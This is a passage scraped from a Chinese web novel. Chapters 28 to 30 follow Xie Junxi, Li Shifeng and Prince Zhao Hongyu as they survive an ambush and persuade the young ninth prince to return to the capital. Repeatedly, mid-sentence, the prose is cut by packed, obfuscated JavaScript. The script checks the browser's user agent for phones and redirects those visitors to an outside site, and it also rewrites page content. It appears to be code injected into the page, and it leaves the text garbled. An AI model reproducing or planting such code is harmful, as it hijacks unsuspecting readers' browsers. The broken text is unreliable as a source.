迎面走来的是方才跑掉的那三人里的其中一人,那人立在不远处,掷刀的手此刻背在身后,目光之中流露出彻骨的寒意,竟将那帮人唬得硬生生后退了几步,这一退,有人看清楚了那把带血的刀,那通体玄黑,仿佛杀神降世般的锐气,分明是…… “不好!撤退!这人是大理寺少卿李时丰!”不知是谁先开始喊起来,场面顿时一片混乱。 李时丰俯身冲上前,把刀从尸体里狠狠抽出,一人之力截住那四五人逃散的路线,有不识趣的下意识想与李时丰过招,刀还没挥过来就被李时丰以极其刁钻的角度避开,紧接着就是一刀封喉,连惨叫声都还没有发出来,就直直倒在地上,成为一具不会说话的冰冷尸体。 一时之间方才追人的变成了被追的,被追的成了追人的,等到李时丰杀到只剩下一人时,碧绿的田埂血气冲天。 谢筠熙不声不响地目睹了这一血腥的场面,如今经历了这么多,还是会觉得李时丰这赶尽杀绝的模样根本就不像只是一个大理寺少卿会做出来的举动,或许是与他极力隐瞒的秘密有关,谢筠熙这样想着,默默将草垛扒开,企图看得更真切些。 剩下的那人被李时丰的刀逼得一屁股坐到泥地里,李时丰的刀尖抵着那人的心口,随时能将此人一刀毙命。 “说,你们是谁的人?何人派你们来这的?” 李时丰刀上蔓延的血迹淅淅沥沥浇到那人身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455263|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,衬得李时丰那阴狠的脸更加狰狞恐怖。 “大人饶命!小的……小的说便是……是……是二皇子的人……是二皇子的人!” 二皇子?景王?这么说来,香楼一事…… “你撒谎!” 李时丰的刀继续逼近,没有因为这番说辞而停下。 那人却突然变了脸色,似乎是下了什么决心,将藏在嘴里的东西咬破,黑色的汁液和血迹顺着他的嘴角滴落,很快他就目眦欲裂,当场死亡。 李时丰将刀上的血抖落,收刀入鞘。 他向着草垛的方向走去,一眼就看见了谢筠熙那亮闪闪的双目在草垛缝隙里张望,他用手敲了敲草垛,方才那恶狠狠的语气荡然无存:“欸,你还要在里面躲到什么时候?出来。” 谢筠熙的双目转向李时丰,见他一身的血,散发的恶臭味让她忍不住有些犯恶心,顿时出声:“你先别过来,离我远一些,我自己出来就好。” 李时丰皱眉,闻言反而不走了,干脆抱着拳在那看着谢筠熙一动不动。 此刻肾上腺素的作用散去,谢筠熙已经感受到了身上密密麻麻的痛意,她不得不一边忍着痛,一边忍着冲鼻的血腥味,把自己从草垛里扒拉出来。 好在经历了这么多,谢筠熙对血腥味有些免疫,出来俯身缓了一会后,终于不再觉得恶心。 李时丰的眼里,谢筠熙此刻满头满身的草根,扎得到处都是,有些甚至扎进了皮肉里,但谢筠熙只是拍了拍自己的身体各处,又当着李时丰的面把这些事物全部拔除,看得出来她疼得龇牙咧嘴,但在李时丰面前,她显然不想表现出来,只能强忍着不叫出声来。 “多谢大人救命之恩。”好不容易拔完了草,谢筠熙顶着脏兮兮的脸捂住鼻子同自己的合作伙伴道谢。 “不谢,你……走得动道吗?”李时丰自动忽略谢筠熙捂鼻子的动作,扬起下巴冲谢筠熙的脚踝示意。 方才只顾着拔草谢筠熙竟没有注意到自己脚踝处的淤青,此刻甚至有些肿胀,应当是方才冲进草垛里造成的扭伤。 因为到处都疼,加之方才肾上腺素狂飙,所以谢筠熙就忽视了扭伤的痛,此刻被李时丰一提醒,那伤处也开始隐隐作痛起来,谢筠熙感觉到脚下有些发软,不由有些手足无措起来。 “这……没事我自己能走……”谢筠熙硬着头皮说道。 刚走一步,她就感受到了那刺骨的疼痛。 但她回头冲李时丰露出一个僵硬的笑,仍是向前走着。 李时丰磨了磨后槽牙,那股说不明道不清的不爽再次涌上心头,他比谢筠熙更快一步走到前面,半蹲下身子用生硬的语气给谢筠熙下达命令:“上来,除非你想这辈子都走不了路。” 谢筠熙顿了顿,眼前那宽厚的肩膀让她有些恍惚,她在心里重新权衡了一番,最终还是决定趴上去。 李时丰等了半天终于感受到肩头传来的重量,将谢筠熙稳稳向上一拖站起身来,嘴角不知怎么的突然就有些止不住得想要上扬,话语间却不忘挖苦:“没想到啊,谢今安你也有今天。” “我……我那是慌不择路,这才马失前蹄,话……话说,你到底是怎么这么快带着刀找到这来的?” 谢筠熙逐渐适应了那刺鼻的血腥味,听到李时丰的挖苦,气愤地将头扭到一边岔开话题。 “本官可比你明智,出秦妙芸的屋子之前本官叫她将横刀放在门前的木板底下,本官经过时顺手就拿了,又顺手把那帮追的人全杀了,后来看见你跑的时候落在地上平时用来修复的毛笔顺着脚印就找到了。” 李时丰侧着头边走边与谢筠熙对话,突然抽出一只手来从衣襟里翻出毛笔递给谢筠熙。 谢筠熙接过,不由有些懊悔自己的粗心,她摩挲了一番毛笔杆,将她放到自己的兜里。 “好吧,我承认这次是我莽撞了。”谢筠熙不情不愿地转过头,“对了,殿下呢?” “他你就更不需要担心了,这货做事从来不会不留后手,城西很早之前就有他安插的人手,只是一直在暗处没出来而已。” “竟是如此……”谢筠熙若有所思。 28. 讨价还价 果不其然,等三人再次汇合的时候,赵泓玉的身上除了被绊倒时残留的泥污,没有任何损伤。 反观谢筠熙,虽然已经做了简单的包扎,依旧一瘸一拐十分狼狈。 谢筠熙颇为好奇地趔趄着腿绕着赵泓玉转了三圈,一边端详一边惊叹:“不愧是殿下啊,当真是神机妙算,方才撞的那大运也是特意安排好的吧。” “是啊,是本王安排好的,那你呢熙老板,伤成这个样子也是特意安排好的吗?”赵泓玉站在墙角边任由谢筠熙观看,嘴里说出的话却沾了些得意。 谢筠熙打了个哈哈,假装镇定:“哈哈,哈哈,那当然也是了……” “所以说让时丰背你回来也在你的算计执中喽~” 赵泓玉不怀好意地指了指一旁清理血污的李时丰,又露出了他那狡诈的笑容。 “这……这只是迫不得已罢了,大人只是想着不要耽误了我们的行程,这才把小女子背回来……”谢筠熙一边说着,一边斜眼偷瞄李时丰,见他没有反驳,安心地往下说,“咳咳,殿下,既然我们又走到一块了,那……复盘一下?” “嗯,也行吧。”赵泓玉熊熊燃起的八卦之心就这样被现实无情地浇灭。 三人靠着找到的隐蔽墙角坐成一圈,表情都严肃起来。 “时丰,你方才杀那帮人时有没有发现什么异常?”赵泓玉先开口,轻轻肘击正把刀收进刀鞘的李时丰。 “最后一个活口服毒自尽,属下方才检查了尸体,没有发现什么特别之处。”李时丰摇头,突然想到写什么,半赌半猜询问,“殿下方才……可有留下活口?” “没有。”赵泓玉笑着回答,“时丰你知道本王的做事风格,对本王构成威胁的人只有让他们死,才能真正听话。” 赵泓玉说出最后一字时,眼中已经没了笑意。 “……”李时丰沉默,难得没有认可赵泓玉的做法。 谢筠熙眼见陷入僵局,急忙开口:“那个,殿下,大人,小女子觉得,那帮人很有可能跟香楼的人也有关系。” “说来听听。”赵泓玉起了兴趣。 “不瞒殿下,当初小女子和大人相识便是因为一些……事情被香楼的小厮追跑,最后大人从天而降救了小女子一命,那之后的事……殿下您应当也知道了。” 赵泓玉彻底坐直了身子:“这么说?还是英雄救美的桥段?” 他揶揄地望向李时丰,却只看见李时丰紧锁的眉头。 嚯,有点东西。赵泓玉暗笑。 “当时夜里黑,看不清那些追我的人面貌如何,只是小女子隐隐觉得,今日出现的这些人互相暗示的举动有些相像。” “这点本王倒是也注意到了,他们决定分道而行时似乎做出的口型似乎有些特殊,像……暗语。” 叮——似乎有什么被连到一块,谢筠熙的脑中闪过一点火光。 “是那密函的口语,同书面自成一套体系。” 李时丰的突然出声让谢筠熙浑身一震:“大人是说……秋芸之前写过的那一份密函?” “如今看来,秋芸应当还有一层身份,也是她到死都没能告诉我们的那件事。” “这么一说,她受的伤和最后喝下的毒酒……”谢筠熙握拳敲掌,“她是背后势力的背叛者,所以自然会被惩罚!” “此类暗语只有皇城暗卫才能习得,她背后的人,如今看来倒是很难轻易动摇了。”赵泓玉冷笑。 “这帮人必然也是为了遗子一事而来,而提出寻找遗子的人是二皇子……” “若从一开始就是二哥的人,他自然不可能一人撑起这盘大棋,熙老板也看到了,他遣人去沐柳巷时的蠢样,恨不得全天下的人都知道他在找九弟。” 赵泓玉嗤笑一声,眼里尽是轻蔑。 “寻皇子一事,是殿下一手操办带起来的吧。”李时丰神情复杂地望向赵泓玉。 “嗯,是本王,熙老板也知道。” 赵泓玉坦然。 “依殿下的意思,应当不只是储君之位这么简单吧,殿下是想借九皇子的事钓出背后的大鱼吗?” 夕阳映在谢筠熙面颊上,将她的双目照得更加透亮,赵泓玉怔怔望了一会,忽然大笑起来:“哈哈哈哈哈,熙老板真是本王见过最聪慧的女子了,不错,正是如此。” “殿下好野心,已经在为登高位清路障了吗?”谢筠熙忽的也笑起来。 “够了,这里虽然是荒郊,但也不可排除隔墙有耳。”李时丰打断这两人的对话。 赵泓玉笑笑,没有再说下去。 谢相在其中又扮演着什么角色? 秋芸、藜秋、秦妙芸、城西的孩子……他们都说谢相是好人,可是他做了什么?亦或是说在她没有来到这个朝代的前几年,真实的历史,究竟发生了什么? 谢筠熙也噤了声,她的脑子很乱,而此刻三人都默默坐着,相顾无言。 “这附近现在没有那帮人的同伙了吧,我们要不要先回秦姐姐那儿,明日见到九皇子我们再做打算。” 到最后,谢筠熙实在坐不住提出倡议。 “可以。”李时丰和赵泓玉同时开口。 “呃……大人,我这腿……”谢筠熙起身时再次感受到那钻心的疼痛,暗戳戳对了对手指拿眼瞄着李时丰。 “你们二位慢慢来,本王先走一步。”赵泓玉仿佛已经忘了自己也是半个伤员,他站起身敲了敲坐麻的腿,大摇大摆地离开了墙角。 李时丰一副皮笑肉不笑的模样,把谢筠熙看得心里发毛:果然还是太勉强他了吗……要不算了吧,先忍忍,几步路而已。 “那个大人!我……” “上来。” 谢筠熙正要收回自己的话,李时丰却同身处田埂时一样,蹲下身子拍了拍自己的背。 “多谢大人……”谢筠熙硬生生把话憋了回去,四肢僵硬地趴到李时丰身上。 “使唤本官付出的代价就是伤好后回去把陆贰之前被罚的活包一半。”李时丰依旧嘴不饶人。 “啊?你是说?清扫大理寺?”谢筠熙被李时丰稳稳托在身上,只有行走时的些许颠簸,听到李时丰的话,她有些不可置信,“可是他不是早就被罚完了?” “前些日子又被罚了,他隔三差五就要惹是生非,这次来城西也是他主动请缨希望本官能为他减惩。” 感受到身上的人要往下滑,李时丰又将她往上托了托,期间不忘回她的话。 “唔……”就这一托,谢筠熙突然发出了一些奇怪的动静,李时丰见她没有同往常一样回嘴,不由有些奇怪。 “好了,大人方才吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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罢了罢了,好女不跟男逗 “快让大人进来,要是再遇到什么意外可不太好。”谢筠熙深吸一口气,笑露八齿。 笑得真假。赵泓玉心想。 “时丰,别杵在外面了,快进来!”赵泓玉依旧看热闹不嫌事大,“谢小姐同意了!” 下一秒李时丰黑着脸走进来,狠狠瞪了赵泓玉一眼,又找了一把离谢筠熙最远的椅子坐下。 “秦姐姐,今日真是叨扰了,要在姐姐这暂住一晚。”谢筠熙无视李时丰,只是温声同秦妙芸交谈。 “没事!听说今日三位替我们除了一直在这徘徊的那帮恶人,感激不尽还来不及。”秦妙芸垂眸笑着,突然想起什么,满眼惊恐起来,“小姐,那些人所属怕是宫中贵人,这样会不会……” “不要担心秦姐姐,九皇子在这,他们不敢轻举妄动,更何况,这两位来过这里,无论是何势力,定会思忖再三再做考虑,城西他们还动不得。”谢筠熙轻拍秦妙芸的手背,尽力安慰着她。 “这便好,这便好……”秦妙芸拍拍胸口,另一只手反握住谢筠熙。 “明日,便可见到小明了吧。”谢筠熙也低下头,试探着询问秦妙芸。 “嗯,明日妾便带三位去见他。”秦妙芸点头。 29. 孩童之心 如秦妙芸所言,三人果然见到了小明,如今更加确切地来说,应当是九皇子赵明赫,虽然眼前这个小孩跟皇族的形象完全沾不上边,见面时甚至还蹲在地上和其他孩子一起玩泥巴。 因为见赵明赫时解除了易容,那孩子原本蹲在最角落,却一眼就认出了站在最前面的李时丰,他放下手中的泥巴,脏着个小手就迈开短腿跑向李时丰,等到跟前时嘴里还嚷着:“是帮了我的大哥哥!大侠姐姐呢?” 李时丰不自觉后退了半步,把谢筠熙暴露在赵明赫眼中。 “大侠姐姐你也来了!”赵明赫发出惊喜的叫声。 “小明,好久不见。”谢筠熙跟初见时一般蹲下身子,毫不嫌弃地揉了揉赵明赫沾满泥点的脸蛋。 “姐姐原来你也帮了小明吗,好厉害!” 孩子们又热闹地凑上来,叽叽喳喳地围着谢筠熙转个不停。 “好了,你们先寻别处去耍,大哥哥和大姐姐有事要和小明谈,不要打扰他们了哦。”秦妙芸拿食指放在唇上,做了个噤声的动作。 “嗯嗯,知道啦!” 这里的孩子简直乖巧得不像话,听完秦妙芸的话便自觉地跑开。 一直旁观的赵泓玉望向秦妙芸的眼神变得微妙起来:宫里的人都说城西是罪罚之人的聚集地,可如今看来,他们的话也不一定全部可信啊,有意思,真有意思,这群人虽然弱小,但却格外团结,连这里的孩子也是一样…… “大人们,可以开始了。”秦妙芸退到一边,对三人的态度变得毕恭毕敬,只是望向小明的眼中始终带着不忍。 赵明赫其实一直都注意到那个气质不凡的哥哥,但他不知为何有些害怕,看到谢筠熙也退开,为那人腾出一条道,又见那人不紧不慢地向自己走来,他不由自主地攥住了谢筠熙的衣角,不肯松开手。 谢筠熙轻轻拽了一下,没有成功,心知这孩子是在害怕,便也没有劝阻。 “小孩,你怕本王?”赵泓玉见他一个劲往谢筠熙身后躲,坏心思又上了头,偏不遂这小孩的意,几步走到他跟前,居高临下地俯视他。 一个黑影盖住赵明赫,本能的害怕让他眼角泛起泪花,甚至连攥住谢筠熙衣角的小手也跟着颤抖。 “别吓小孩,殿下你还想不想让你弟跟你回宫了?”谢筠熙拿眼瞪着满脸不安好心的赵泓玉,咬着牙提醒赵泓玉。 “没事儿本王只是觉得新奇,逗逗。”赵泓玉回了谢筠熙一个自有分寸的笑,弯腰和赵明赫大眼瞪小眼。 “小孩,你知道自己叫什么名字吗?” 赵明赫强忍住泪水,战战兢兢地开口:“我……我叫小明……” “哦~那你知道自己的爹娘在哪里吗?” “我……我没有爹娘,姑姑、和这里的姐姐们就是我的爹娘。”赵明赫轻声说着,开始有些抽噎。 谢筠熙有些动容,她明白养赵明赫长大的不是宫里的人,这里的人给不了他荣华富贵,却给了他无私的爱,如今要是告诉他其实他应该长在宫里,长在那个陌生繁华的世界,他应该也不会接受。 思及此,谢筠熙不由有些担心,她揉揉赵泓玉的脑袋,从兜里掏出一块朴素的方帊替赵明赫擦去眼角溢出的泪水。 她温声安慰了小明几句话,终于劝他放开了自己的衣角,又把赵泓玉拉到一边,同站在一旁不知作何感想的李时丰凑到一块。 秦妙芸不知道三个贵人是怎么想的,只能先上前安抚小明。 “殿下,小女子觉得,小明应当不会跟你回宫。” 谢筠熙直截了当地开口。 “可就算本王不带他回宫,二哥也会带他回宫,迟早的事。”赵泓玉合掌,看上去有些无奈。 “这的确不是殿下一人能决定的事,更不是小明可以决定的,圣旨在上,若是带不回去他,便是抗旨,后果不堪设想。” 李时丰替赵泓玉接上了后面的话。 “可这事不是殿下非得挑起来的嘛。”谢筠熙无法理解。 “熙老板说这话就有些天真了,你以为本王不以此为引线,九弟就能一直藏在这里一辈子了吗?”赵泓玉收笑。 “熙老板这是……又起了怜悯之心?” 谢筠熙发现,自己对赵泓玉的了解似乎完全没有想象中这么多,亦或是说,她从来没有看到过真正的赵泓玉,这让谢筠熙有些不寒而栗。 赵泓玉盯着谢筠熙这副怔怔的模样看了半天,突然有些忍俊不禁:“本王可从来不是什么圣人啊,熙老板。” 这是谢筠熙穿越以来第一次彻底感受到君权制度的残忍之处,皇宫里的人薄情寡义,以利为重,更何况眼前之人是皇子,自己又怎么企图和这样的人说出“怜悯”二字。 他是不会懂的。 谢筠熙回神,下意识避开赵泓玉探究的目光,再开口时,说话的方式完全变了一副模样:“抱歉殿下,是小女子太天真了。” 赵泓玉自然感受到她的转变,突然觉得很没有意思,他不再看谢筠熙,而是转向李时丰:“时丰觉得,本王该如何?” “殿下若是直接劝九皇子回宫,自然不可能行得通,至少您得获得您弟弟的信任才行,不然最后失利的依旧是您。” 李时丰一顿话夹枪带棒,说得赵泓玉愣了愣:这小子是在替谢今安回嘴吗? “依二皇子的性子,殿下觉得,他有可能把九皇子当好弟弟带回去吗?” 李时丰面无表情说出这话,谢筠熙却听出了些别的意思。 若是二皇子,那必然是要挟,赵明赫对他而言只是一个搏得皇帝关注的工具。而三皇子虽然也差不多,可皇帝年纪大了又怎会不知道自己这些皇子的心思,他必然期待看见兄友弟恭的场面,若三皇子能表现得更加真心,自然会让皇帝印象深刻。 谢筠熙在心中叹气:可怜小明了,日后入宫,必然不能跟现在一样自由自在。 “小女子觉得大人说得在理。”沉默了半天的谢筠熙突然出声,“小女子愿替殿下去劝说九皇子。” “哦?那本王便先谢过熙老板。”赵泓玉见她这么快转变心意,不由有些诧异。 “只是需要殿下配合,不许吓小孩!”谢筠熙重点强调。 “哈哈哈哈哈,你们两人,还真是……”赵泓玉突然笑出声来。 僵硬的氛围再次被打破,三人恢复往日说话的状态。 只是谢筠熙明白,从这之后,有些东西肯定是要变了。 “小明,你知道刚刚跟你说话的大哥哥是谁吗”谢筠熙把两个不懂得怎么跟孩子沟通的男人丢在一边,和赵明赫一人一块饼边吃边面对面坐着谈话。 “我……我不知道,可是我觉得他看上去不像好人。”赵明赫偷偷瞟了一眼坐在不远处朝他笑的陌生哥哥,迅速收回目光。 “你猜得不错,他的确不是什么好人,姐姐也讨厌他。” 当今罪臣之女谢今安就这样当着衡王的和一个小孩蛐蛐他。 “他们是不是在说本王坏话?”赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470886|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泓玉询问一旁耳力极佳的李时丰。 “……您最好还是不要知道,殿下。” 李时丰沉默了一瞬,没想到都看到赵泓玉真实面目的一角了她还敢这么说。 “好吧,若她真能把九弟劝回,本王也便不计较了。”赵泓玉冷哼一声。 “姐姐姐姐,他有没有欺负过你和大哥哥!”赵明赫停下嘴里的咀嚼,小脸很严肃地一摆。 “怎么,你要替哥哥姐姐打抱不平?”谢筠熙见他这副模样实在可爱,忍不住又捏了一把他柔软的脸蛋。 “我……我不敢。”赵明赫默默低下头。 “好啦,姐姐实话告诉你,他呀,其实是你失散多年的哥哥,你还不止这一个哥哥,你的家在一个很大很大的屋子里,那里什么都有……” “啊?哥哥……唔……那那里会有姑姑和姐姐们吗,还有我的好朋友。”赵明赫天真的脸上带着期待。 “……”谢筠熙被这个问题问倒了,她不知道该怎么回答,也不知道该怎么告诉这个孩子那个残酷的事实,这样无异于把他往火坑里推。 她朝赵泓玉使了个眼色。 见到那个所谓的“哥哥”又向自己走来,赵明赫依旧是怕的,但是谢筠熙同他说完之后,他明显大胆了许多。 “殿下,你蹲下来说话。”谢筠熙想搭住赵泓玉的肩膀示意。 “你若不跟本王走,这里的人都会死。” 赵泓玉一句话把谢筠熙和赵明赫都说愣了。 “本王也许不能当你亲密无间的好哥哥,但是可以保真心待你的人无忧。” 这句话赵泓玉是蹲下身说的,与方才那句冰冷的话相比,已经显得柔情了许多。 赵明赫手中的饼“啪叽”一声掉到地上,但他很快把它捡起来,小心翼翼拍掉上面的灰,塞到嘴里继续吃。 “欸……”谢筠熙见他边吃边掉眼泪,心里又是一阵抽痛。 “我跟你走……我知道的……很早之前就知道的。” “知道什么?”赵泓玉竟然不顾脏污替那孩子擦掉了眼泪。 “姥姥和姑姑,姐姐们都不说,但是小明知道自己不属于这里,在这里总有一天会拖累大家,是我太自私了。”赵明赫的眼泪顺着嘴角和饼一起进到嘴里,咸腥味在嘴里蔓开,这个年幼的孩子懂事得让人心疼。 “小明……”秦妙芸在一旁偷偷抹泪。 “这样姑姑就能回来了是不是!”赵明赫囫囵吞完最后一块饼,看向赵泓玉的眼睛亮晶晶的。 “是的,你姑姑没事,她马上就能回来了,父皇会喜欢你这样有感恩之心的孩子。”赵泓玉难得露出一分没有算计的微笑。 “嗯好……我能不能跟这里的朋友们道个别?” 赵明赫拉住赵泓玉的袖口,抽抽搭搭地恳求。 “自然可以。” 赵泓玉看向小明离开的身影,自己却陷入了沉思。 “殿下?殿下?”谢筠熙把手张开放在赵泓玉面前挥了几下,却没有得到任何反应。 “过来,让他一个人想一会。”李时丰深深看了赵泓玉一眼,一把拽过谢筠熙,独留赵泓玉一人在原地。 他突然想起来自己和赵泓玉相识的第一面,那是他最走投无路的时候,他也是这样,用最刻薄的话把事实告诉他,再为他建造一个看上去无忧的前途。 即使他也曾以为这个人会有动恻隐之心的那一天……可惜了…… 如今只能争取最不坏的结果。 30. 回京 “既然九皇子愿意回京,我们是不是也该早些离开城西?” 谢筠熙一边收拾包袱,一边同李时丰说着。 “嗯,早些离开免得再生是非。”李时丰将横刀挂到腰带间固定。 “……殿下,真的会护他们周全吗?”谢筠熙停下手中的动作,不由有些出神。 “三皇子虽然以利为重,但他至少言出必行,这是他为人而言唯一的美德。”李时丰收拾完站在一旁看着谢筠熙整理。 “那便好……”谢筠熙回过神,冲李时丰笑笑。 “藜秋在你朋友家?”李时丰措不及防地开口。 谢筠熙浑身一激灵,将拿在手中的柳叶珮差点摔在地上:“你……你知道了?” “之前就一直怀疑你在隐瞒些什么,九皇子口中的藜秋不在城西,必然是因为最近那帮人的追查,你又说你的店被这班人马给抄了,本官就想着许是因为藜秋……加之,本官似乎看见了你怀中另一块不太相同的柳叶佩。” 坏了,什么时候看到的! 谢筠熙恨铁不成钢地捧住自己的脑袋。 “你这般反应,是应证了本官的猜想?”李时丰好笑地看着谢筠熙的反应。 “果然瞒不过大人……” 大意了!!! 谢筠熙顶着被揉乱的毛发生无可恋地冲李时丰僵笑。 “咳咳,无事,本官不会告诉殿下的,届时你让藜秋在合适时间合适地点出现便好了。” 李时丰突然想到了一些不大好的回忆,一丝尴尬涌上心头。 这么好?谢筠熙狐疑。 “大人是做了什么对不起小女子的事吗?有这般把柄在您手中,您不应该……” “你要是想,本官便这么做了。”李时丰转过身,假意要去开门。 “欸,大人,小女子错了,您别冲动。”谢筠熙慌忙拉住李时丰的手。 直到碰到手背,那属于另一个人的温热从掌心传来,谢筠熙才想起来自己在做什么,她如同触电般将手弹开,一脸歉疚地双手合十同李时丰求饶:“大人我错了,求大人宽恕。” 李时丰也没料到她会做出如此大胆的举动,大脑突然如放空般空白了一瞬,回过神来时,却下意识把手背到身后,而不是同往日一般二话不说就拔刀。 她的右手骨节上似乎有一颗痣…… 宕机后李时丰的脑子里冒出的第一句话却是这个。 想什么呢。 李时丰挥散这莫名的想法,转身瞪了谢筠熙一眼。 谢筠熙原本在一旁弱小可怜无助地眨巴眼睛,见李时丰瞪她她干脆直接面孔天研究起房顶的构造。 “罢了……走吧。”李时丰无言,只留下这样一句话。 一出门,赵泓玉的目光就跟黏在两人身上似的,撤去伪装后,他又掏出了自己的那把扇子,在李时丰跟前边看边扇:“可算是出来了,时丰你怎么脸红了?” “……” 见李时丰沉默,赵泓玉发出了一声意味深长的“哦~~” “殿下不走属下就先走了。”李时丰撇下赵泓玉独自离开。 “殿下您跟大人说什么了?他怎么突然走这么快?”谢筠熙扯着自己的布包带子,自李时丰身后缓缓走上前。 “没,什,么,走吧走吧。”赵泓玉拿扇柄敲了敲谢筠熙的布包,又“唰”一声打开扇子,一脸高深莫测地上前追赶李时丰。 “要不然说这两个人能玩到一块呢,这样一看,李时丰就是闷骚,赵泓玉则是明骚,这俩明暗相间,妙哉妙哉。”谢筠熙喃喃自语了一番,也拔腿跟上。 陆贰这次总算是驾着马车光明正大地进入了城西,谢筠熙三人来到城西口的时候,见到的就是陆贰被孩子们“围攻”的场面。 看得出来陆贰非常不擅长和小孩打交道,他看见李时丰朝自己走来,第一反应就是想抱上自家大人的大腿哭爹喊娘。 李时丰轻轻一侧身就叫陆贰扑了个空,直直飞进草堆里,粘了满身的草籽狼狈地爬起,一脸欲哭无泪地巴巴望向李时丰:“大人,你们可算来了……” 李时丰被激起了一身鸡皮疙瘩:“来便来,你突然扑上来做什么,吓本官一跳。” “大人,你都不知道你们没来之前这些小孩有多能问问题,属下实在是有些受不住啊……”陆贰拍掉身上的草籽,还要说些什么,就见赵泓玉和谢筠熙又在一旁窃窃私语,联想到衡王和谢筠熙的德性,自觉闭上了嘴巴。 “你觉得时丰人怎么样?”赵泓玉指着不远处抱拳而立和陆贰说话的李时丰发问。 “大人他……呃……是个好人。”谢筠熙思考了半天憋出这一句。 “那陆副官呢?” “他……虽然脑瓜有些不太灵光,但……人也挺好的。” 谢筠熙每次都对赵泓玉这莫名其妙的问题感到无法理解,遂在内心出揣度:他不会是在试探我吧……难道是因为昨天那番话?算了算了,不多想了,就当赵泓玉又发癫了。 谢筠熙使劲摇了摇头。 不远处的赵明赫迈着小短腿跑上来,身后跟着秦妙芸和一些同为城西人的妇女,谢筠熙猜测那些大概也是被逐出宫的旧宫人。 果不其然,他们看见赵泓玉的第一刻就行了标准的宫中礼节,一声声“殿下”更是喊得十分娴熟。 “不必多礼,若是没有诸位,九皇子也未必能如此健全,本王先替父皇谢过各位姐姐了,日后定不食言,替九皇子护你们周全。”赵泓玉受了礼,当着赵明赫的面向城西的旧宫人门承诺。 “小殿下,该叫王爷‘三哥’了,乖。”秦妙芸温和地轻抚着赵明赫的发顶,强忍住自己的哽咽声。 “三哥……”赵明赫虽然有些不情愿,但看看城西的大家,也只好一步一回头地走向赵泓玉,仰起头怯生生看向这个比他高出许多的“三哥”,有些不太熟练地叫了一声赵泓玉。 “今日叫过这声三哥,日后便是天家人了,九弟,来日方长。”赵泓玉半蹲下身子,回忆着谢筠熙对赵明赫时的的举动,冲赵明赫露出一个温和的笑容,只是这里面的真情有多少,只有他自己才能知道。 离开城西之前,赵泓玉最后做的一件事便是让谢筠熙替陆贰易容。 虽然谢筠熙不知道此为何意,但看见赵泓玉那别有深意的眼神又不太想问出口,于是照做。 最终在城西一众人的目送下,陆贰驾着马车走上了回京城的路,还算宽敞的马车里加了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492642|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个赵明赫也不算拥挤,因为怕生,赵明赫只敢和谢筠熙凑近些待着,车里内置的小桌上摆着一些新鲜的吃食,谢筠熙拿了几个果脯递给赵明赫,回京的路有些漫长,她希望小明可以先解解馋。 赵明赫乖巧地接过,却没有直接塞进嘴里,他只是将果脯捧在手心里,目光却对着赵泓玉欲言又止。 “小明……哦不……九殿下有什么要跟你三哥说的吗?”谢筠熙看出了他的犹豫,选择替他开口。 “姐姐,还是不要叫我九殿下了吧,好不习惯呀……”听见谢筠熙改掉的称呼,赵明赫浑身不自在。 “无碍,这里是皇宫外,没有这么多讲究,依九弟的来……便好。”赵泓玉往嘴里塞了块蜜饯,说话有些含糊不清。 “行。”谢筠熙应下。 “三……哥。”似是挣扎了许久,赵明赫终于鼓起勇气开口,“日后进了京,还能不能见到我小姑他们啊?” 赵泓玉一手拈着蜜饯,一手轻轻点了点赵明赫的鼻尖,语重心长地向赵明赫说着:“九弟啊,若是日后你在父皇面前表现得好,定能见到你的小姑和朋友,让他们回京也不是没有可能啊。” 说罢这话赵泓玉觉得还不够,思索了一番接着道:“真是任重道远啊,九弟。” “我……我会努力的!”赵明赫手里的蜜饯果脯被捏地凹进去一块,闻到那溢出的香甜味才猛然惊觉,有些心疼地放进嘴中,砸吧几下眼睛就亮了,“唔,好次……若是小姑和秦姐姐也能尝尝就好了……” 说着说着小明的声音又低落下去。 “等到了京城,还有许多好吃的等着你呢。”谢筠熙对赵明赫满眼的心疼。 “嗯嗯……” “老大!一会进城门怎么办啊,那帮守门的最近查得可紧呢。”马车突然停下,陆贰的声音从车前传来。 “无碍,王爷在这里,他自有办法。”李时丰说着淡淡瞥了好整以暇的赵泓玉一眼。 “哦……可是……”陆贰还想说些什么。 “专心开你的马车。”李时丰截住他的话头 